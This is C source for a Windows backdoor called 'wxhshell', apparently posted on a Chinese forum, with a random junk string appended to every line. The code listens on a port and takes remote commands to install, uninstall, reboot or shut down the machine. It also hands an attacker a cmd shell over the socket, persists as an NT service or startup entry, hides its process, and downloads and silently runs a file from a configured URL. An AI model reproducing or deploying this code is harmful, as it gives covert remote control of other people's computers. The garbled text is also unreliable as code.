  i!3*)-a\~`  
  // 帮助 oAB:H \  
  case '?': { `nEqw/I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f O+lD  
    break; ?Ov~\[) F  
  } T@#?{eA  
  // 安装 8 *{jxN'M  
  case 'i': { :)B1|1  
    if(Install()) }0@@_Y]CC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s?->2gxhx  
    else Y+vIU*O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +\&6Zbn  
    break; ~=[5X,Ta  
    } U#iW1jPE2  
  // 卸载 ed_+bCNy  
  case 'r': { l7VTuVGUJ  
    if(Uninstall()) q{b-2k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lr6C@pI  
    else c{?SFwgd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,C 0y3pL  
    break; 6w m-uu  
    } D/4]r@M2c  
  // 显示 wxhshell 所在路径 I!1+#0SG  
  case 'p': { iT O Y  
    char svExeFile[MAX_PATH]; $XMpC{  
    strcpy(svExeFile,"\n\r"); l=Pw yJ  
      strcat(svExeFile,ExeFile); ,2^A<IwR  
        send(wsh,svExeFile,strlen(svExeFile),0); 6o9&FU  
    break; /z`tI  
    } \{~CO{II  
  // 重启 dvZlkMm   
  case 'b': { k2,`W2] ^E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,mi7WW9  
    if(Boot(REBOOT)) Mk973 'K'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9h)8Mq+M  
    else { :~srl)|)  
    closesocket(wsh); *HGhm04F{  
    ExitThread(0); v+79#qWK|n  
    } c9CFGo?)N  
    break; .;ofRx<  
    } hDZyFRg  
  // 关机 L,nb<  
  case 'd': { R-OO1~W=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !hS)W7!ik  
    if(Boot(SHUTDOWN)) OU#p^ 5K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 94t`&jZ&|u  
    else { 5=<KA   
    closesocket(wsh); ~$j;@ 4  
    ExitThread(0); A<TYt M  
    } Yh@2m9  
    break; A8ef=ljM?  
    } k4u/v n`&r  
  // 获取shell qP##C&+#q  
  case 's': { J65:MaS  
    CmdShell(wsh); m8R=wb :  
    closesocket(wsh); j)YX=r;xM  
    ExitThread(0); "_dg$j`Y&&  
    break; $Z w +"AA  
  } WwtVuc|  
  // 退出 wpi$-i`  
  case 'x': { P6ktA-Hv>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LayK&RwL  
    CloseIt(wsh); 4(oU88 z  
    break; ;~d$O M  
    } >#l: ]T  
  // 离开 S+- $Ih`[  
  case 'q': { =h|cs{eT\2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zby3.=.e  
    closesocket(wsh); CQa8I2VF (  
    WSACleanup(); cjO %X  
    exit(1); .sM,U  
    break; x{K"z4xbI  
        } dtfOFag4_  
  } IO=$+c  
  } $_TS]~y4}  
UF }[%Sa  
  // 提示信息 =2QP7W3mg<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :&'jh/vRN  
} 9y5JV3  
  } RjO0*$>h  
!7)#aXt&  
  return; ANM=:EtP  
} cZ)mp`^n7  
&nI>`Q'  
// shell模块句柄 Qo^(r$BD  
int CmdShell(SOCKET sock) I_Gz~qk6  
{ mD&I6F[s  
STARTUPINFO si; %eIaH!x:  
ZeroMemory(&si,sizeof(si)); wF%RM$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fc<y(uX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3"v>y]$U  
PROCESS_INFORMATION ProcessInfo; ']I!1>v$[  
char cmdline[]="cmd"; o~\.jQQxa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _-543B}  
  return 0; p[].4_B;  
} }mIN)o  
~tRGw^<9  
// 自身启动模式 Is<XMR|{  
int StartFromService(void) j%w^8}U>G  
{ hAc|a9 o  
typedef struct LW.j)wB]  
{ \)o.Y zAo@  
  DWORD ExitStatus; X/vyb^:U  
  DWORD PebBaseAddress; $\/^O94-l  
  DWORD AffinityMask; JN`$Fq+  
  DWORD BasePriority; HQ7g0:-^a>  
  ULONG UniqueProcessId; |mHf 7gCX  
  ULONG InheritedFromUniqueProcessId; oD\t4]?E  
}   PROCESS_BASIC_INFORMATION; 2Vf242z_  
@n.n[zb\|  
PROCNTQSIP NtQueryInformationProcess; i|AWaG)  
p'%S{v@5((  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -LUZ7,!/>o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |3T2}ohrr  
[+R_3'aK  
  HANDLE             hProcess; X;UEq]kcmn  
  PROCESS_BASIC_INFORMATION pbi; ){'<67dK  
/d:hW4}<}.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hxM{}}.E  
  if(NULL == hInst ) return 0; 'bSWJ/;p)  
%,HUn`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j3`YaWw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hi/d%lNZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H&p:  
\9` ~9#P  
  if (!NtQueryInformationProcess) return 0; _6r[msH"  
y {Bajil  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3BD&;.<r  
  if(!hProcess) return 0; )`'a1y|  
8M,@Mb n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )R'%SLw  
QKts-b[3  
  CloseHandle(hProcess); 4u%AZ<-C}m  
TlkhI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kp<Au)u  
if(hProcess==NULL) return 0; 2YY4 XHQS  
qpCaW0]7  
HMODULE hMod; EsX(<bx  
char procName[255]; \#) YS  
unsigned long cbNeeded; =p=/@FN  
:A @f[Y'9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )[ZXPD  
{6RA~  
  CloseHandle(hProcess); _a& Z$2O  
Z8Y& #cB  
if(strstr(procName,"services")) return 1; // 以服务启动 9{j`eAUZl  
lZ[J1:%  
  return 0; // 注册表启动 |? fAe {*  
} .xmB8 R  
3%GsTq2o  
// 主模块 A- Abj'  
int StartWxhshell(LPSTR lpCmdLine) 7#G!es  
{ %k['<BYG<  
  SOCKET wsl; E#8|h(  
BOOL val=TRUE; '/ Hoq  
  int port=0; <a -a~  
  struct sockaddr_in door; (GL'm[V  
SG\ /m'F  
  if(wscfg.ws_autoins) Install(); G<<; a  
>]gB@tn[  
port=atoi(lpCmdLine); LiQH!yHW  
uM\\(g}  
if(port<=0) port=wscfg.ws_port; LA59O@r  
cl]W]^q-Cx  
  WSADATA data; HpIi-Es7C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ILH[q>  
5EI"5&`*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   id : ^|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4~$U#$u_  
  door.sin_family = AF_INET; C(B"@   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q$]1juqg  
  door.sin_port = htons(port); GBRiU &D  
/|UbYe,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oPaoQbR(A  
closesocket(wsl); vf<Dqy<M.  
return 1; rKslgZhQ  
} @jMo/kO/A  
-X7x~x-  
  if(listen(wsl,2) == INVALID_SOCKET) { uaKbqX  
closesocket(wsl); V( 0Y   
return 1; `RE>gX  
} G9QvIXRi  
  Wxhshell(wsl); H*3u]Ebh  
  WSACleanup(); Q#ksf h!D  
DA>nYj-s  
return 0; piIz ff  
>d]-X]  
} -#/DK   
]:?S}DRG  
// 以NT服务方式启动 $E^sA|KcT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rDoMz3[w  
{ 1EQ:@1  
DWORD   status = 0; Lk#)VGk:  
  DWORD   specificError = 0xfffffff; u #}1 M  
e@Ev']  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v*JKLA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +,ar`:x&a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H\<0{#F  
  serviceStatus.dwWin32ExitCode     = 0; C\BKdx5;  
  serviceStatus.dwServiceSpecificExitCode = 0; yY49JZ  
  serviceStatus.dwCheckPoint       = 0; %'e$N9zd  
  serviceStatus.dwWaitHint       = 0; 2|RoN)%  
x$TL j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wG)[Ik6:  
  if (hServiceStatusHandle==0) return; mdrqX<x'~  
uTrzC+\aU  
status = GetLastError(); }{:}K<  
  if (status!=NO_ERROR) /`aPV"$M  
{ t4:/qy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7zE1>.  
    serviceStatus.dwCheckPoint       = 0; m zoH$@  
    serviceStatus.dwWaitHint       = 0; 1'TS!/ll];  
    serviceStatus.dwWin32ExitCode     = status; tq'hiS(b  
    serviceStatus.dwServiceSpecificExitCode = specificError; s%Ph  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 40].:9VG  
    return; ,f,+)C$  
  } ,d_rK\J  
hH;i_("i(h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9yTkZ`M28  
  serviceStatus.dwCheckPoint       = 0; MwSfuP  
  serviceStatus.dwWaitHint       = 0; )*uotV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '4u/g  
} $kmY[FWu?  
lcReRcjm  
// 处理NT服务事件,比如:启动、停止 1?8M31  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A(`Mwh+  
{ ks%;_~b  
switch(fdwControl) T5T[$%]6  
{ Da6l =M  
case SERVICE_CONTROL_STOP: 7MJ\*+T|03  
  serviceStatus.dwWin32ExitCode = 0; '4~I %Z7L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MuzQ z.C  
  serviceStatus.dwCheckPoint   = 0; @t$yg$Q?[  
  serviceStatus.dwWaitHint     = 0; ".#h$  
  { %Q]thv:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W}zq9|p  
  } Rx&.,gzj[  
  return; :2vuc!Pu  
case SERVICE_CONTROL_PAUSE: W[Z[o+7pK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p*@t$0i  
  break; j%Uoigi  
case SERVICE_CONTROL_CONTINUE: ObreDv^,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \{a5]G(4s  
  break; I*cb\eU8Y  
case SERVICE_CONTROL_INTERROGATE: 0xCe6{86  
  break; tr/.pw6  
}; ?GLCd7TP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ph!h8@e  
} 3tUn?; 9B  
]{+Y!tD  
// 标准应用程序主函数 L %ifl:K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^4\0, >  
{ e(b$LUV  
r6aIW8  
// 获取操作系统版本 2* T Ir  
OsIsNt=GetOsVer(); ('dbMH\O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Tl]yl$  
,->5 sJ{U  
  // 从命令行安装 #NL'r99D/o  
  if(strpbrk(lpCmdLine,"iI")) Install(); tBl (E  
^x^(Rk}|  
  // 下载执行文件 l)jP!k   
if(wscfg.ws_downexe) { f$dIPt(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  fWs*u[S  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q4]O d{[  
} N$:-q'hX  
JlRNJ#h>  
if(!OsIsNt) { WI&}94w  
// 如果时win9x,隐藏进程并且设置为注册表启动 .V UnOdI  
HideProc(); '`W6U]7>  
StartWxhshell(lpCmdLine); ]8Xip/uE  
} cdSgb3B0  
else >+!Ef  
  if(StartFromService()) EaL>~: j  
  // 以服务方式启动 /Q:mUd  
  StartServiceCtrlDispatcher(DispatchTable); mWn0"1C  
else plJUQk  
  // 普通方式启动 `P:[.hRu  
  StartWxhshell(lpCmdLine); H<?s[MH[  
-2 8bJ,  
return 0; "d}ey=$h4  
}
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只看该作者 1 发表于: 2006-10-10
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